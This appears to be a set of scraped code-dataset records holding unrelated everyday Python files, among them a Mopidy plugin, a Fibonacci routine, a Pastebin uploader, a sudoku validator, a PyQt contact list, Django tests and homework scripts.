self.lineEdit_tags.text().strip()\n        kw = dict(tags=tags) if len(tags) else dict()\n\n        self.signal_upload_new_space.emit(make_qt_args(self.conn_info, self.get_space_info(), self.vlayer, **kw))\n        # self.network.add_space(token, self.get_space_info())\n\nclass EditSpaceDialog(SpaceInfoDialog):\n    title = \"Edit XYZ Geospace\"\n\n    def __init__(self, parent=None):\n        SpaceInfoDialog.__init__(self, parent)\n        \n        self.groupBox_token.setVisible(False) # no groupBox_token\n        self.groupBox_tags.setVisible(False) # no groupBox_tags\n\n        self.setWindowTitle(self.title)\n","sub_path":"XYZHubConnector/gui/space_info_dialog.py","file_name":"space_info_dialog.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"429519201","text":"from __future__ import unicode_literals\n\nimport hashlib\nimport logging\nimport time\n\nfrom mopidy import backend\nfrom mopidy.models import Album, Artist, Ref, Track\n\nlogger = logging.getLogger(__name__)\n\n\nclass PlayerFmLibraryProvider(backend.LibraryProvider):\n    root_directory = Ref.directory(uri='playerfm:directory', name='Player FM')\n\n    def __init__(self, *args, **kwargs):\n        super(PlayerFmLibraryProvider, self).__init__(*args, **kwargs)\n\n        self._root = [\n                Ref.directory(uri='playerfm:featured:topics', name='Featured'),\n        ]\n\n    def browse(self, uri):\n        if not uri:\n            return []\n        type = uri.split(':')[1]\n        if uri == self.root_directory.uri:\n            return self._root\n        elif type == 'featured':\n            if uri.rsplit(':', 1)[-1] == 'all':\n                buri = uri.rsplit(':', 1)[0]\n                return self.backend.session.get_series_dirs(buri)\n            else:\n                return self.backend.session.get_topic_dirs(uri)\n        elif type == 'series':\n            return self.backend.session.get_series_entries(uri)\n        else:\n            return []\n\n    def lookup(self, uri):\n        if uri.startswith('playerfm:episode:'):\n            return self._lookup_episode(uri)\n        else:\n            logger.info(\"Can't lookup %s\", str(uri))\n            return []\n\n    def _lookup_episode(self, uri):\n        episode = self.backend.session.get_episode_info(uri.split(':')[2])\n        if episode is None:\n            logger.warning('There is no episode %r', uri)\n            return []\n        mopidy_track = self._to_mopidy_track(episode)\n        return [mopidy_track]\n\n    def _get_images(self, episode):\n        if 'imageURL' in episode['series']:\n            return [episode['series']['imageURL']]\n\n    def _create_id(self, u):\n        return hashlib.md5(u.encode('utf-8')).hexdigest()\n\n    def _to_mopidy_album(self, episode):\n        name = episode['series']['title']\n        artist = self._to_mopidy_artist(episode)\n        date = unicode(time.strftime('%Y-%m-%d %H:%M:%S',\n                       time.localtime(\n                            episode['series']['stats']['latestPublishedAt'])))\n        album_id = episode['series']['id']\n        uri = 'playerfm:album:' + str(album_id)\n        images = self._get_images(episode)\n        return Album(\n            uri=uri,\n            name=name,\n            artists=[artist],\n            num_tracks=episode['series']['stats']['numberOfEpisodes'],\n            num_discs=None,\n            date=date,\n            images=images)\n\n    def _to_mopidy_artist(self, episode):\n        if 'author' in episode['series']:\n            name = episode['series']['author']\n        else:\n            name = 'Unknown'\n        artist_id = self._create_id(name)\n        uri = 'playerfm:artist:' + artist_id\n        return Artist(uri=uri, name=name)\n\n    def _to_mopidy_track(self, episode):\n        episode_id = episode['id']\n        if episode_id is None:\n            raise ValueError\n        if episode['duration'] is None:\n            length = None\n        else:\n            length = episode['duration']*1000\n        return Track(\n            uri='playerfm:episode:' + str(episode_id),\n            name=episode['title'],\n            artists=[self._to_mopidy_artist(episode)],\n            album=self._to_mopidy_album(episode),\n            track_no=None,\n            disc_no=None,\n            date=unicode(time.strftime('%Y-%m-%d %H:%M:%S',\n                         time.localtime(episode['publishedAt']))),\n            length=length,\n            comment=episode['description'],\n            last_modified=None)\n","sub_path":"mopidy_playerfm/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"60459239","text":"# Implementation of an algorithm\n# with a Complexity of O(Log n)\n\n# Python3 program to find last digit of\n# nth Fibonacci number\n\n# Function that returns nth Fibonacci number\ndef fib(n):\n\n    F = [[1, 1], [1, 0]]\n    if (n == 0):\n        return 0;\n    power(F, n - 1);\n\n    return F[0][0]\n\n# Utility function to multiply two\n# matrices and store result in first\ndef multiply(F, M):\n\n    x = F[0][0] * M[0][0] + F[0][1] * M[1][0];\n    y = F[0][0] * M[0][1] + F[0][1] * M[1][1]; \n    z = F[1][0] * M[0][0] + F[1][1] * M[1][0]; \n    w = F[1][0] * M[0][1] + F[1][1] * M[1][1]; \n  \n    F[0][0] = x; \n    F[0][1] = y; \n    F[1][0] = z; \n    F[1][1] = w;\n\n    \n# Optimized version of power() in\n# method 4\ndef power(F, n):\n\n    if (n == 0 or n == 1):\n        return;\n    M = [[1, 1], [1, 0]]\n\n    power(F, int(n / 2));\n    multiply(F, F)\n\n    if (n % 2 != 0):\n        multiply(F, M)\n\n# Returns last digit of\n# n'th Fibonacci Number\ndef findLastDigit(n):\n\n    return (fib(n) % 10);\n\n# Driver code\nn = 3;\nprint(\"{}\".format(findLastDigit(n)));\nn = 331;\nprint(\"{}\".format(findLastDigit(n)));\nn = 327305;\nprint(\"{}\".format(findLastDigit(n)));\n","sub_path":"week2_algorithic_warm-up/last_digit_of_fibonacci_number/fibonacci-last-digit-python/nth_fibonacci.py","file_name":"nth_fibonacci.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"489185745","text":"import numpy as np\nimport math as m\nimport matplotlib.pyplot as plt\n\ny_sweep_0, cl_sweep_0 = np.loadtxt(\"Spanload_A2.50_sweep_0.dat\", skiprows=1, unpack=True, usecols=[0,1])\nCL_sweep_0 = sum(cl_sweep_0)/len(y_sweep_0)\nprint(CL_sweep_0)\n\nValeur_x_sweep_0 = np.zeros(len(y_sweep_0))\nValeur_y_sweep_0 = np.zeros(len(y_sweep_0))\nfor i in range(len(y_sweep_0)):\n    Valeur_x_sweep_0[i] = y_sweep_0[i]/y_sweep_0[-1]\n    Valeur_y_sweep_0[i] = cl_sweep_0[i]/CL_sweep_0\n\n\n# Visualisation graphique\nplt.plot(Valeur_x_sweep_0, Valeur_y_sweep_0, color=\"green\", label='Sweep = 0°')\n\n#-------------------------------------------------------------------------------------------------------\n\ny_sweep_45, cl_sweep_45 = np.loadtxt(\"Spanload_A2.50_sweep_45.dat\", skiprows=1, unpack=True, usecols=[0,1])\nCL_sweep_45 = sum(cl_sweep_45)/len(y_sweep_45)\nprint(CL_sweep_45)\n\nValeur_x_sweep_45 = np.zeros(len(y_sweep_45))\nValeur_y_sweep_45 = np.zeros(len(y_sweep_45))\nfor i in range(len(y_sweep_45)):\n    Valeur_x_sweep_45[i] = y_sweep_45[i]/y_sweep_45[-1]\n    Valeur_y_sweep_45[i] = cl_sweep_45[i]/CL_sweep_45\n\n\n# Visualisation graphique\nplt.plot(Valeur_x_sweep_45, Valeur_y_sweep_45, color=\"blue\", label='Sweep = 45°')\n\n#-------------------------------------------------------------------------------------------------------\n\ny_sweep_135, cl_sweep_135 = np.loadtxt(\"Spanload_A2.50_sweep_135.dat\", skiprows=1, unpack=True, usecols=[0,1])\nCL_sweep_135 = sum(cl_sweep_135)/len(y_sweep_135)\nprint(CL_sweep_135)\n\nValeur_x_sweep_135 = np.zeros(len(y_sweep_135))\nValeur_y_sweep_135 = np.zeros(len(y_sweep_135))\nfor i in range(len(y_sweep_135)):\n    Valeur_x_sweep_135[i] = y_sweep_135[i]/y_sweep_135[-1]\n    Valeur_y_sweep_135[i] = cl_sweep_135[i]/CL_sweep_135\n\n    \n# Visualisation graphique\nplt.plot(Valeur_x_sweep_135, Valeur_y_sweep_135, color=\"black\", label='Sweep = 135°')\n# Propriétés des graphiques\nplt.xlim(0, 1.0)\nplt.ylim(0, 1.5)\n#plt.gca().set_aspect('equal', adjustable='box')\nplt.xlabel('y/b')\nplt.ylabel('Cl/CL')\nplt.title('Distribution de la portance')\nplt.legend(framealpha=1, frameon=True);\n\n\n\n\nplt.show()\n","sub_path":"docs/Diana/Question_1/c/Question 1 c - suite.py","file_name":"Question 1 c - suite.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"344973056","text":"import sys\nimport requests\nimport getopt\nimport urllib\n\nAPI_KEY = 'ea4490090b7d110e36bf89ab519bf1c9'\nUSER_KEY = ''\nfinput = ''\nmode = 0\nformat = 'text'\ndef exit_help(code = 0):\n\tprint('%s -i <file> -f <format> [-u | -p | -o]' % sys.argv[0])\n\tprint('Options:')\n\tprint('\\tu: Unlisted\\n\\tp: Private\\n\\to: Public\\n\\tf: Format')\n\tsys.exit(code)\n\ndef check_extension_format(ext):\n\tglobal format\n\tif ext == 'txt':\n\t\tformat = 'text'\n\telif ext == 'py':\n\t\tformat = 'python'\n\telse:\n\t\tformat = ext\ndef post():\n\tglobal API_KEY, USER_KEY\n\tglobal finput, mode, format\n\tf = open(finput, 'r')\n\traw = f.read()\n\tf.close()\n\tcheck_extension_format(finput.split('.')[1])\n\ttitle = urllib.quote(finput)\n\tdata = urllib.quote(raw)\n\tresponse = requests.post('http://pastebin.com/api/api_post.php', {\n\t\t'api_option': 'paste',\n\t\t'api_user_key': USER_KEY,\n\t\t'api_paste_private': mode,\n\t\t'api_paste_name': title,\n\t\t'api_paste_expire_date': 'N',\n\t\t'api_paste_format': format,\n\t\t'api_dev_key': API_KEY,\n\t\t'api_paste_code': data\n\t}).text\n\tprint('Response: %s' % response)\n\ndef parse_options(argv):\n\tglobal finput, mode\n\ttry:\n\t\topts, args = getopt.getopt(argv, 'hupof:i:')\n\texcept getopt.GetoptError:\n\t\texit_help(2)\n\tfor opt, arg in opts:\n\t\tif opt == '-h':\n\t\t\texit_help(0)\n\t\telif opt == '-i':\n\t\t\tfinput = arg\n\t\telif opt == '-u':\n\t\t\tmode = 1\n\t\telif opt == '-p':\n\t\t\tmode = 2\n\t\telif opt == '-o':\n\t\t\tmode = 0\n\t\telif opt == '-f':\n\t\t\tformat = arg\n\nif __name__ == '__main__':\n\tparse_options(sys.argv[1:])\n\tpost()\n\n","sub_path":"pastebin.py","file_name":"pastebin.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"263660458","text":"\"\"\"\n消息队列演示\n注意： 消息存入与去除关系为 先入先出\n\"\"\"\nfrom multiprocessing import Process,Queue\nfrom random import randint\nfrom time import  sleep\n#建立消息队列\nq=Queue(5)\n\ndef request():\n    for i in range(10):\n        x=randint(1,100)\n        y=randint(1,100)\n        data=(x,y)\n        q.put(data)\ndef hanld():\n    if not q.empty():\n        for  i in range(10):\n            data=q.get()\n            print(\"x+y=\",data[0]+data[1])\n            sleep(2)\n\n\np=Process(target=request)\np1=Process(target=hanld)\np.start()\np1.start()\n\np.join()\np1.join()\n\n\n\n\n","sub_path":"process_queue.py","file_name":"process_queue.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"617027408","text":"from card import Card\n\nhand = [Card('J','H'), Card('10','H'), Card('Q','H'), Card('Q','S'), Card('A','H'), Card('2','H'), Card('K','H')]\n\n##def containsroyalflush(testhand):\n##            for Card in testhand:\n##                if\n##\n\ndef containsStraight(newhand):\n    newHand = []\n    for card in hand:\n        newHand.append(card.getValue())\n    newHand.sort()\n    \n    #remove duplicates\n    for i in range(len(newHand)-1, -1, -1):\n        if newHand.count(newHand[i]) > 1 :\n            newHand.remove(newHand[i])\n    #we now have a sorted list of numbers, much easier to find a straight            \n    for i in range(len(newHand)-4):        \n        if newHand[i] +1 == newHand[i+1]:\n            if newHand[i] +2 == newHand[i+2]:\n                if newHand[i] +3 == newHand[i+3]:\n                    if newHand[i] + 4 == newHand[i+4]:\n                        return True\n    else:\n        print('not yet')\n\nif (containsStraight(hand)):\n    print('you have a straight')\n","sub_path":"findStraight.py","file_name":"findStraight.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"206410275","text":"\"\"\"\nGiven a Sudoku data structure with size NxN, N > 0 and √N == integer, write a method to validate if it has been\nfilled out correctly.\n\nThe data structure is a multi-dimensional Array, i.e:\n\n[\n  [7,8,4,  1,5,9,  3,2,6],\n  [5,3,9,  6,7,2,  8,4,1],\n  [6,1,2,  4,3,8,  7,5,9],\n\n  [9,2,8,  7,1,5,  4,6,3],\n  [3,5,7,  8,4,6,  1,9,2],\n  [4,6,1,  9,2,3,  5,8,7],\n\n  [8,7,6,  3,9,4,  2,1,5],\n  [2,4,3,  5,6,1,  9,7,8],\n  [1,9,5,  2,8,7,  6,3,4]\n]\nRules for validation\n\nData structure dimension: NxN where N > 0 and √N == integer\nRows may only contain integers: 1..N (N included)\nColumns may only contain integers: 1..N (N included)\n'Little squares' (3x3 in example above) may also only contain integers: 1..N (N included)\n\"\"\"\n\n\nimport math\n\n\nclass Sudoku:\n    def __init__(self, field):\n        self.field = field\n        self.n = len(self.field)\n\n    def is_valid(self):\n        for row in self.field:\n            if set(row) != set(range(1, self.n + 1)) or len(row) != self.n:\n                return False\n        for i in range(self.n):\n            column = [self.field[j][i] for j in range(self.n)]\n            if set(column) != set(range(1, self.n + 1)):\n                return False\n        little_square = []\n        for a in range(0, self.n, int(math.sqrt(self.n))):\n            for b in range(0, self.n, int(math.sqrt(self.n))):\n                for i in range(int(math.sqrt(self.n))):\n                    for j in range(int(math.sqrt(self.n))):\n                        value = self.field[i + b][j + a] if type(self.field[i + b][j + a]) == int else 0\n                        little_square.append(value)\n                if set(little_square) != set(range(1, self.n + 1)):\n                    return False\n                little_square.clear()\n        return True\n","sub_path":"validate_sudoku.py","file_name":"validate_sudoku.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"130688500","text":"from os import path\nimport cv2\n\n\ndef screenshot():\n    pth = path.dirname(path.abspath(__file__))\n    import mss\n    mss.mss().shot(output=path.join(pth, 'resources', \"screenshot.PNG\"))\n\n\ndef open_image(IMG_NAME):\n    pth = path.dirname(path.abspath(__file__))\n    img = cv2.imread(path.join(pth, 'resources', IMG_NAME))\n    rgb_image = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    return rgb_image\n\n\ndef writeinfile(X, Y, center, IMG_NAME):\n    pth = path.dirname(path.abspath(__file__))\n    with open(path.join(pth, 'resources', \"header.txt\")) as f:\n        s = f.read()\n    res = path.join(pth, 'resources', \"{}.FDF\".format(IMG_NAME[:-4]))\n    with open(res, 'w') as f:\n        f.write(s)\n        f.write('\\r\\n')\n        f.write(\"\"\"   30000    5050\"\"\" + '\\r\\n')\n        for i in range(len(X)):\n            ss = ' ' * (8 - len(str(X[i]))) + str(X[i]) + \\\n                ' ' * (8 - len(str(Y[i]))) + str(Y[i])\n            f.write(ss + '\\r\\n')\n        f.write(\"\"\"   30000    5050\"\"\")\n\n\ndef generate_txt(WEDGE_X, WEDGE_Y, X, Y, CENTER):\n    pth = path.dirname(path.abspath(__file__))\n    with open(path.join(pth, 'resources', \"header2.txt\")) as f:\n        s = f.read()\n    res = path.join(pth, 'resources', \"RESULT.txt\")\n    with open(res, 'w') as f:\n        f.write(s)\n        f.write('\\r\\n')\n        f.write(r\"# {0} {1} {2} {3}\".format(\n            WEDGE_Y[0], WEDGE_Y[1], WEDGE_X[0], WEDGE_X[1]))\n        f.write(\"\\r\\n\")\n        f.write(r\"*\")\n        f.write(\"\\r\\n\")\n        f.write(\"\"\"30000    150\\r\\n\"\"\")\n        for i in range(len(X)):\n            ss = str(X[i]) + '   ' + str(Y[i])\n            f.write('{}\\r\\n'.format(ss))\n        f.write(\"\"\"30000    150\"\"\")\n\n\nif __name__ == \"__main__\":\n    IMG_NAME = \"1.PNG\"\n    if open_image(IMG_NAME).any():\n        print(\"works\")\n    screenshot()\n","sub_path":"BlockDigitizer/app/work_with_files.py","file_name":"work_with_files.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"357434051","text":"from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget\nfrom PyQt5.QtCore import Qt, QSize\nfrom PyQt5 import QtGui\n\nfrom ui.Ui_ContactList import Ui_ContactList\n\nfrom model.contact_model import ContactModel\nfrom model.tag_model import TagModel\nfrom model.contact_button_model import ContactButton\n\nimport tagadder_controller as ta\nimport contactadder_controller as ca\n\n\n# controller for the contactlist view\nclass ContactList(QWidget):\n    def __init__(self):\n        super().__init__()\n        # Set up the user interface from Designer.\n        self.view = Ui_ContactList()\n        self.view.setupUi(self)\n\n        self.addContactIcon()\n        self.buttonBehavior()\n        self.inputChanged()\n        self.showAllContacts()\n        self.showFields()\n        self.showTags()\n\n    # add contact icon to add QPushButton\n    def addContactIcon(self):\n        addIcon = QtGui.QPixmap(\"icon/addcontact.png\")\n        self.view.add_button.setIcon(QtGui.QIcon(addIcon))\n        self.view.add_button.setIconSize(QSize(32, 32))\n\n    # define buttons behaviour.\n    def buttonBehavior(self):\n        self.view.add_button.clicked.connect(self.showContactAdder)\n        self.view.tag_button.clicked.connect(self.showTagAdder)\n\n    # when some input changes (searchbar/orderby/tagselection) do a real time search\n    # connect any 'input changed' to realTimeSearch() function\n    def inputChanged(self):\n        self.view.searchbar.textChanged.connect(self.realTimeSearch)\n        self.view.orderby.currentTextChanged.connect(self.realTimeSearch)\n        self.view.scroll_tag.currentTextChanged.connect(self.realTimeSearch)\n\n    # show in a button list all the contacts of the database represented by a customized button (ContactButton)\n    # ContactModel is used to retrieve the data from Contacts table in \"ContactsManager.db\".\n    def showAllContacts(self):\n        contacts = ContactModel().getContacts()\n        if contacts is not None:\n            for c in contacts:\n                contact_model = ContactModel()\n                contact_model.setAllFields(c[0], c[1], c[2], c[3], c[4], c[5], c[6])\n                c_button = ContactButton(contact_model, self)\n                self.view.buttonListLayout.setAlignment(Qt.AlignTop)\n                self.view.buttonListLayout.addWidget(c_button)\n\n    # show in a button list the result of realTimeSearch(). Each contact is represented by a\n    # customized button (ContactButton)\n    # ContactModel is used to retrieve the data from Contacts table in \"ContactsManager.db\".\n    def showContacts(self, contacts):\n        if contacts is not None:\n            for c in contacts:\n                contact_model = ContactModel()\n                contact_model.setAllFields(c[0], c[1], c[2], c[3], c[4], c[5], c[6])\n                c_button = ContactButton(contact_model, self)\n                self.view.buttonListLayout.setAlignment(Qt.AlignTop)\n                self.view.buttonListLayout.addWidget(c_button)\n\n    # Show contacts fields in a scrollBar (\"order by\")\n    # ContactModel is used to retrieve the data from Contacts table in \"ContactsManager.db\".\n    def showFields(self):\n        contact_model = ContactModel()\n        contact_fields = contact_model.getContactFields()\n\n        self.field_list = list()\n        self.field_list.append([contact_fields[1], \"First Name\"])\n        self.field_list.append([contact_fields[2], \"Last Name\"])\n\n        for field in self.field_list:\n            self.view.orderby.addItem(field[1])\n\n    # Show all the tags in a scrollBar (\"filter by\")\n    # TagModel is used to retrieve the data from Tags table in \"ContactsManager.db\".\n    def showTags(self):\n        tag_model = TagModel()\n        tags = tag_model.getDBTags()\n        tag_placeholder = \"Select a tag...\"\n        self.view.scroll_tag.addItem(tag_placeholder)\n        for tag in tags:\n            self.view.scroll_tag.addItem(tag[1])\n\n    # Contacts real time search\n    # ContactModel and ContactTagModel are used to retrieve data in Contact and ContactsTags tables\n    # in \"ContactsManager.db\".\n    def realTimeSearch(self):\n        # contact_model = ContactModel()\n        # print(\"inputchanged\")\n\n        text_to_search = self.view.searchbar.toPlainText()\n        # convert orderby selection into db exact field\n        orderby = next(x[0] for x in self.field_list if x[1] == self.view.orderby.currentText())\n        if self.view.scroll_tag.currentText() != \"Select a tag...\":\n            selected_tag = self.view.scroll_tag.currentText()\n        else:\n            selected_tag = None\n        # clear contactList\n        for i in reversed(range(self.view.buttonListLayout.count())):\n            self.view.buttonListLayout.itemAt(i).widget().setParent(None)\n        # print(\"selected tag\", selected_tag)\n        # print(\"order by\", orderby)\n        contacts = ContactModel().contactSearch(text_to_search, orderby, selected_tag)\n\n        self.showContacts(contacts)\n\n    # change view from ContactList to ContactAdder\n    def showContactAdder(self):\n        self.parentWidget().setCentralWidget(ca.ContactAdder())\n\n    # change view from ContactList to TagAdder\n    def showTagAdder(self):\n        self.parentWidget().setCentralWidget(ta.TagAdder())\n\n\nif __name__ == \"__main__\":\n    import sys\n    app = QApplication(sys.argv)\n    window = QMainWindow()\n    cl = ContactList()\n    window.setCentralWidget(cl)\n    window.show()\n    sys.exit(app.exec_())\n","sub_path":"contactlist_controller.py","file_name":"contactlist_controller.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"484600726","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\nimport web\nfrom config import setting\nfrom libs import object_helper\nimport helper\n\ndb = setting.db_web\n\n\n# 审核专辑内课程\n\nurl = ('/plat/check_topic_detail')\n\nPAGE_SIZE = 50\n\n# SKU -------------------\nclass handler:  \n    def GET(self):\n        if not helper.logged(helper.PRIV_USER, 'CHECK_OBJ'):\n            raise web.seeother('/')\n        user_data=web.input(page='0', tpc_id='', action='VIEW')\n        render = helper.create_render()\n\n        if not user_data['page'].isdigit():\n            return render.info('参数错误！')  \n\n        if user_data['tpc_id']=='':\n            return render.info('参数错误！')  \n\n        db_tpc = db.topic_store.find_one({'tpc_id':user_data['tpc_id']})\n        if db_tpc is None:\n            return render.info('专辑信息未找到！')  \n\n        db_sku = db.obj_store.find({'obj_type':'topic', 'tpc_id':user_data['tpc_id']}, # 专辑内课程\n            sort=[('obj_id', -1)],\n            limit=PAGE_SIZE,\n            skip=int(user_data['page'])*PAGE_SIZE\n        )\n\n        sku_data = []\n        for x in db_sku:\n            one = {\n                'obj_id'   : x['obj_id'],\n                'obj_name' : x['obj_name'],\n                'title'    : x['title'],\n                'price'    : x['price'],\n                'note'     : x['note'],\n                'status'   : x.get('status','SAVED'),\n            }\n            sku_data.append(one)\n\n        num = db_sku.count()\n        if num%PAGE_SIZE>0:\n            num = num / PAGE_SIZE + 1\n        else:\n            num = num / PAGE_SIZE\n        \n        return render.check_topic_detail(helper.get_session_uname(), helper.get_privilege_name(), sku_data,\n            range(0, num), helper.OBJ_STATUS, db_tpc, user_data.action)\n\n\n    def POST(self):\n        if not helper.logged(helper.PRIV_USER, 'CHECK_OBJ'):\n            raise web.seeother('/')\n        render = helper.create_render()\n        user_data=web.input(tpc_id='', status='')\n\n        if user_data.tpc_id=='':\n            return render.info('参数错误！')  \n\n        if user_data.status=='':\n            return render.info('请选择审核结果！')\n\n        tpc_id = user_data['tpc_id']\n\n        message = '审核通过' if user_data['status']=='PASSED' else '审核被拒绝'\n\n        # 专辑课程，需要将专辑状态设置为已保存\n        object_helper.topic_change_status(tpc_id, user_data['status'],message,user_data['check_comment'])\n\n        return render.info('成功保存！', '/plat/check_topic')\n","sub_path":"src/plat/check_topic_detail.py","file_name":"check_topic_detail.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"470689562","text":"import json\nimport io\nimport zipfile\n\nfrom django.core.files import File\nfrom django.test import TestCase\nfrom greenwich.raster import Raster\nfrom rest_framework import status\nfrom rest_framework.test import APIRequestFactory\n\nfrom spillway import generics\nfrom spillway.renderers import GeoJSONRenderer\nfrom .models import Location, RasterStore\nfrom .test_serializers import RasterStoreTestBase, LocationFeatureSerializer\n\nfactory = APIRequestFactory()\n\n\nclass PaginatedGeoListView(generics.GeoListView):\n    paginate_by_param = 'page_size'\n    paginate_by = 10\n\n\nclass GeoListViewTestCase(TestCase):\n    def setUp(self):\n        self.view = generics.GeoListView.as_view(model=Location)\n        for i in range(20): Location.create()\n        self.qs = Location.objects.all()\n\n    def test_list(self):\n        request = factory.get('/')\n        response = self.view(request)\n        self.assertEqual(len(response.data['features']), len(self.qs))\n\n    def test_paginate(self):\n        view = PaginatedGeoListView.as_view(model=Location)\n        request = factory.get('/', {'page': 2})\n        response = view(request).render()\n        self.assertEqual(len(response.data['features']),\n                         PaginatedGeoListView.paginate_by)\n        data = json.loads(response.content)\n        self.assertEqual(data['count'], len(self.qs))\n        self.assertTrue(*map(data.has_key, ('previous', 'next')))\n\n    def test_geojson(self):\n        for request in (factory.get('/', {'format': 'geojson'}),\n                        factory.get('/', HTTP_ACCEPT=GeoJSONRenderer.media_type)):\n            response = self.view(request).render()\n            d = json.loads(response.content)\n            self.assertEqual(d['features'][0]['geometry'],\n                             json.loads(self.qs[0].geom.geojson))\n\n\nclass GeoListCreateAPIView(TestCase):\n    def setUp(self):\n        self.view = generics.GeoListCreateAPIView.as_view(model=Location)\n        Location.create()\n        self.qs = Location.objects.all()\n\n    def test_post(self):\n        fs = LocationFeatureSerializer(self.qs, many=True)\n        request = factory.post('/', fs.data, format='json')\n        with self.assertNumQueries(1):\n            response = self.view(request).render()\n        self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n        created = self.qs.get(id=2)\n        self.assertEqual(created.name, 'Vancouver')\n        self.assertEqual(created.geom, fs.object[0].geom)\n\n\nclass GeoDetailViewTestCase(TestCase):\n    def setUp(self):\n        self.view = generics.GeoDetailView.as_view(model=Location)\n        for i in range(2): Location.create()\n        self.qs = Location.objects.all()\n\n    def test_response(self):\n        for params in {}, {'format': 'geojson'}:\n            request = factory.get('/1', params)\n            with self.assertNumQueries(1):\n                response = self.view(request, pk=1).render()\n            self.assertEqual(response.status_code, 200)\n            d = json.loads(response.content)\n            self.assertEqual(d['geometry'], json.loads(self.qs[0].geom.geojson))\n\n    def test_kml_response(self):\n        request = factory.get('/1', {'format': 'kml'})\n        response = self.view(request, pk=1).render()\n        self.assertInHTML(self.qs[0].geom.kml, response.content, count=1)\n\n\nclass RasterListViewTestCase(RasterStoreTestBase):\n    def setUp(self):\n        super(RasterListViewTestCase, self).setUp()\n        self.view = generics.RasterListView.as_view(model=RasterStore)\n\n    def test_list_json(self):\n        with Raster(self.qs[0].image.path) as r:\n            imdata = r.array().tolist()\n            g = r.envelope.polygon.__geo_interface__\n            sref_wkt = str(r.sref)\n        request = factory.get('/')\n        response = self.view(request).render()\n        d = json.loads(response.content)\n        expected = [{'image': imdata, 'geom': g, 'srs': sref_wkt}]\n        self.assertEquals(*map(len, (d, expected)))\n        self.assertDictContainsSubset(expected[0], d[0])\n\n    def test_list_zip(self):\n        request = factory.get('/', {'format': 'img.zip'})\n        response = self.view(request).render()\n        bio = io.BytesIO(response.content)\n        zf = zipfile.ZipFile(bio)\n        self.assertEqual(len(zf.filelist), len(self.qs))\n","sub_path":"tests/test_generics.py","file_name":"test_generics.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"280442733","text":"\"\"\" This script do the question 13 ~ 14 of ml-hw4. \"\"\"\n\nimport argparse\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom nn import NN\n\ndef get_data(train_path, test_path):\n    \"\"\" Get the data. \"\"\"\n    train = np.genfromtxt(train_path)\n    test = np.genfromtxt(test_path)\n    x_train = train[:, :-1]\n    y_train = train[:, -1]\n    x_test = test[:, :-1]\n    y_test = test[:, -1]\n    return x_train, y_train, x_test, y_test\n\ndef main():\n    \"\"\" Main function. \"\"\"\n    # parse args\n    parser = argparse.ArgumentParser()\n    parser.add_argument('train', help='hw4_train.dat')\n    parser.add_argument('test', help='hw4_test.dat')\n    parser.add_argument('-o', '--output_to_png', default=False, action='store_true',\n                        help='Output image to files. (default is output to screen)')\n    args = parser.parse_args()\n\n    # get data\n    x_train, y_train, x_test, y_test = get_data(args.train, args.test)\n\n    # train & test\n    gamma_list = [0.001, 0.1, 1, 10, 100]\n    ein_list = []\n    eout_list = []\n    for gamma in gamma_list:\n        nn = NN(gamma)\n        nn.train(x_train, y_train)\n        y_train_pred = nn.test(x_train)\n        ein_list.append((y_train_pred != y_train).mean())\n        y_test_pred = nn.test(x_test)\n        eout_list.append((y_test_pred != y_test).mean())\n\n    # plot\n\n    # q_11\n    plt.scatter(gamma_list, ein_list)\n    plt.title('$E_{in}(g_{uniform})$ vs. $gamma$')\n    plt.xlabel('$gamma$')\n    plt.ylabel('$E_{in}(g_{uniform})$')\n    if args.output_to_png:\n        plt.savefig('q_13')\n    else:\n        plt.show()\n    plt.clf()\n\n    # q_12\n    plt.scatter(gamma_list, eout_list)\n    plt.title('$E_{out}(g_{uniform})$ vs. $gamma$')\n    plt.xlabel('$gamma$')\n    plt.ylabel('$E_{out}(g_{uniform})$')\n    if args.output_to_png:\n        plt.savefig('q_14')\n    else:\n        plt.show()\n    plt.clf()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"hw/hw4/src/q_13_14.py","file_name":"q_13_14.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
